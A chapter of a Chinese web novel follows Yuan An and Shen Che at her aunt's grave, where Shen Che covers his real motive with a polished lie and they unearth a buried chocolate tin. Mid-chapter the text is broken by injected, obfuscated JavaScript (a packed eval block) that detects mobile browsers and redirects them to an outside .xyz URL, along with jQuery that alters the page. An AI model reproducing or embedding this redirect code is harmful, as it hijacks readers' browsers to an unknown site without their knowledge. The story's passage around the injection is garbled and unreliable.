原安瞬间回神,警惕起身,循声望去。
便见晨光碎影中,一个熟悉的颀长身影正步履匆匆地向着她的方向快步走来。
这大概是原安第一次见到如此失态的沈澈。
他显然走得极快,甚至带着小跑。素来一丝不苟的额发被山风拂乱,向来温润如玉的面庞此刻绷得很紧。他的风衣衣襟外敞,随着他疾走的步伐在身后翻飞,露出内里挺括的白衬衫。许是因为真的走得太急太热,向来系纽扣会系到风纪扣的他,这次竟然松开了最上方的两颗纽扣,连带着胸前的领带也被扯得歪斜了些许。
而最让原安心惊的,是沈澈的眼神。那双素来平静无波的浅棕色眼眸里,此刻正翻涌着她从未见过的、浓烈得化不开的惊涛骇浪。
这太不正常了。
这完全不是她所熟悉的那个温和有礼的沈澈。
原安不自觉后退了一步。
沈澈很敏锐地察觉到了她的惊惧,急忙刹住脚步,停在了距离她几步之外的地方。
他的呼吸尚未平复,胸膛微微起伏,目光却如有实质般在原安和她身后的原婉墓碑之间来回逡巡。
这样的目光让原安感到冒犯。
她上前一步,挡住了原婉的墓碑。
“沈老师,”原安开口,声音比初春的山风还要冷,“你来这里,是有什么事吗?”
沈澈猛地回神,意识到了自己的严重失态。
他抬手扶了扶鼻梁上根本没有度数的金丝眼镜,借着这个动作,掩住眼底的波涛惊澜。
“抱歉,原小姐。”
待他放下手,强大的自控力已经压下了翻腾的心绪。
镜片后的桃花眼一如既往,含情潋滟,温和温雅。
他对着原安笑笑,再开口时,清越声线平稳如常,语气里甚至带上了恰到好处的歉意:“方才实在失礼。只因今晨上山祭拜家叔时,偶然听云栖禅寺的方丈慧明提起家叔一些旧闻,一时情难自禁,见笑了。”
“旧闻?”原安很敏锐地捕捉到了关键词。
“是啊。”沈澈上前一步,目光落回原婉墓碑之上。
一个眨眼,完美借口已经出现在了他的脑中。
他看着墓碑,姿态恭敬而自然,仿佛真的只是一个偶然得知长辈故人下落的晚辈:“实不相瞒,慧明大师同我说,家叔沈翔生前有一位名为原婉的……故交。两人情投意合,情深义重,本该是一对璧人,奈何天妒良缘,造化弄人。”
“方丈感怀故人情深,特嘱我代为献上一炷心香,以慰逝者在天之灵。未曾想,竟如此巧合,在此遇上原小姐。”
沈澈的话滴水不漏,合情合理,姿态坦荡,他说到最后,甚至还微微躬身,对着原婉的墓碑行了一礼。他的动作流畅自然,带着世家子弟刻在骨子里的教养,以及,对逝者的尊重。
原安抿了抿唇。
对于原婉和沈翔当年的悲剧,她也曾听林心楠提过一些。在林心楠的描述里,沈翔出身世家,人品贵重,才华横溢,重情重义,是个同原婉一样的难得的好人。
只可惜,这个世道,好人向来不长命,沈翔最终和原婉一道,被人谋害在屏江,至今身负污名。
林心楠的一生,几乎都在为沈翔和原婉当年的案子奔波。
也是因为这样,一年前,原安在调查高纯石英材料领域系列非正常死亡事件时,在确认事涉沈翔后,她力排众议,坚持要将案子上报首都特侦局。
她希望特侦局就此介入,从官方层面帮林心楠一把。
只可惜,事与愿违,直到绑架案发生,特侦局都没有介入。只是因为绑架案牵连甚广、影响巨大,惊动了省厅,专案组需要她这个唯一幸存者的证词和线索,所以,为她请来了国内顶尖心理学专家江逾白教授进行心理治疗。
她也因此结识了江教授的科研助理兼得意门生,沈澈。
结果,到头来,这个沈澈竟然是沈翔的侄子吗?
原安垂下眼帘,一瞬间觉得这世界也真是够小的。
“原来沈老师是晋阳沈氏子弟,有心了。”
原安对着沈澈微微躬身还礼,声音依旧清冷,带着疏离的客套。
她退开一步,侧过身,算是默许了沈澈的祭拜行为:“只是我才刚到不久,尚未清理洒扫。沈老师不如原地稍待片刻?”
“祭拜讲究心诚,”沈澈敏锐捕捉到原安语气中那丝因为晋阳沈氏和沈翔而产生的微妙软化,心中微定,当下决定趁热打铁,重新和原安建立新的联系和信任,“若不介意,我也一起帮忙吧。”
沈澈说着,自告奋勇地接过更需要体力的拔草工作,将较为轻松的擦拭墓碑的工作留给原安。
原安对此安排并无异议。她将手中布巾重新沾了清水,蹲下身,继续仔细擦拭墓碑。
阳光透过竹叶,洒在两人身上,光影斑驳,气氛正好。
原安慢慢拭去墓碑底端最后一点青苔痕迹,目光习惯性地扫过墓碑基座与泥土相接的边缘。
却在这时,一丝极其细微的异样感攫住了她。
墓碑底端,杂草丛生,但在靠近石基边缘的一小片地方,生长的杂草较周围明显稀疏矮小,草株看上去也不如周围同类茂盛,有些草株甚至微微歪斜,透着一股孱弱感。
原安俯下身,伸出指尖,小心翼翼地拂开表面杂草。指腹下的泥土触感很硬,略显板结。她低下头仔细观察,便发现这一小片杂草之下的泥土颜色明显与周围饱含腐殖质的深褐色不同,带着一种被翻动后重新埋上、又经风吹雨打后形成的浅淡灰黄。
有人曾经翻动过这里的土,而且至少已经是数月甚至一年之前的事情了。
这个认知让原安心中猛地一沉。
原婉去世多年,墓地少有人知,平日更有寺中僧众帮忙看护,谁会到她的墓前如此造次?
原安蹙眉,本能地觉得事情并不简单。
等到沈澈料理完周边杂草,走回原安身边,就看到原安正用手指费力地沿着墓碑底端向下刨开泥土。
她的动作带着明显的急切,似乎想要印证自己的猜想。
沈澈扫了一眼泥土,当即就明白了过来。他快步走到原安身边蹲下,一把抓住原安正在刨土的手。
那双白皙的手已经沾满了泥垢,指尖部分遍布伤口,有的还渗出了鲜血。
沈澈狠狠蹙眉,不由分说,宽大手掌一把圈住原安的两只手腕,就要拉她起来。
“这里的土曾经被动过。”原安奋力挣扎,漂亮的杏眼里闪动着明显的急切,“沈老师,这有问题。”
“我知道,但土不是这样挖的。”沈澈声音低沉,隐约带了点薄怒,“你已经受伤了。”
他难得强势地不顾原安挣扎,一手将她从墓碑旁拉起。他用的是巧劲,虽然没有很用力,但原安就是挣脱不开。
他将她带到墓碑前,弯下腰,用空出的那只手从她带来的小篮子里拿了一块没有使用过的干净布巾,沾水拧干,为她擦拭伤口。
他动作熟练,眼神专注,手法利落,完全没有半点平日里温文尔雅的助理模样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447667|185168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
原安看着他,只觉得今天的沈澈非常不对劲。
没一会儿,沈澈处理好了伤口。
他这才放开原安,冷静下结论道:“伤口有些多,个别还挺深。这里工具有限,我只清理了表面泥垢。为了避免感染,下山之后,你得去前台要瓶酒精再次消毒,然后再涂抹药膏,近期避免沾水。”
“我知道了。”原安讪讪收回手,眼神躲闪,“谢谢沈老师。”
沈澈没再多言。他从原安的小篮子里取出铲子,走到墓碑边,动作利落地沿着原安之前挖开的地方,继续向下挖去。
原安乖巧站在一旁,静静看着沈澈用铲子将坚硬的泥土一点点刨开。
很快,泥土之下藏着的东西就显了轮廓。
那是一个银色磨砂式样的中型方形铁盒。铁盒四角设有马口卡口牢牢扣住,铁盒正面绘有几个哥特字母样式的商标,设计独特,造型别致。
这铁盒原安并不陌生,是她所钟爱的某款进口高档巧克力的包装礼盒。
原安小的时候,不爱吃饭,酷爱零食,尤其爱吃巧克力。林心楠在这方面也不拘着她,甚至专门给她整了个柜子,让她可以自由存储她所喜欢的各式巧克力。
后来原安进入青春期,少女爱美的本性被彻底激发。有一次寒假结束,原安震惊发现,自己因为贪嘴,导致一个寒假竟然胖了整整十斤。她如遭雷劈,自此狠下决心,将一柜子的巧克力全部打包丢进垃圾桶,并严厉发誓从此再也不碰巧克力。
但多年的喜好,哪里是说断就能断的呢?或许只有林心楠知道,每次母女一同逛超市,路过零食区时,原安都会眼馋得看着货架上琳琅满目的巧克力,好久走不动路。
这样的次数多了,林心楠也看不下去了。有一次,林心楠去国外考察,回来的时候,就给她带了这款进口黑巧。
林心楠和她说,这是朋友推荐的牌子,配料表干净不说,比起寻常那些苦得发涩的黑巧,它的味道相对醇厚,是一款很难得的既能解馋还不发胖的巧克力。
有了林心楠的这句担保,原安这才勉勉强强,又重新吃上了巧克力。
很久之后,她才从林心楠的一位合作伙伴口中得知,哪有什么朋友推荐啊,是林心楠自己默默试吃了近百种巧克力,才给她找到了这款黑巧。那之后很长时间里,别说是看到巧克力,林心楠就算是闻到巧克力的味道都会想吐。
温言笑语犹在耳畔,眼前却只剩下了那个沾满泥垢的冰冷铁盒。
原安垂下眼眸,蹲下身,不顾铁盒表面的泥垢,将铁盒紧紧抱进怀里,仿佛还能从上边感受妈妈残留的温度。
沈澈静立一旁,目光灼灼,专注观察。
此刻的他,仿佛又变回了从前那个让所有嫌疑人都闻风丧胆的人型测谎仪,专业、冷漠、精密。
他捕捉着原安脸上每一个细微的表情变化,看着她从最初看到铁盒时的惊讶,到认出盒上品牌商标时瞬间的怔忡,再到后来眼中倾泻而出的孺慕之情,以及最后那几乎是出于本能的、将铁盒紧紧环抱入怀的保护姿态。
他基本可以确定,这铁盒大概率是林心楠留给她的。
但林心楠是原安的母亲,以她的身份,会选择以这样私密而隐蔽的方式传递给原安的,绝对不会是什么寻常事物。
所以,铁盒里一定藏着非常重要的线索。
而且大概率和他所追查的那起疑点众多的绑架案有关。
想到这里,沈澈眼神骤然锐利。
这个线索,他势在必得。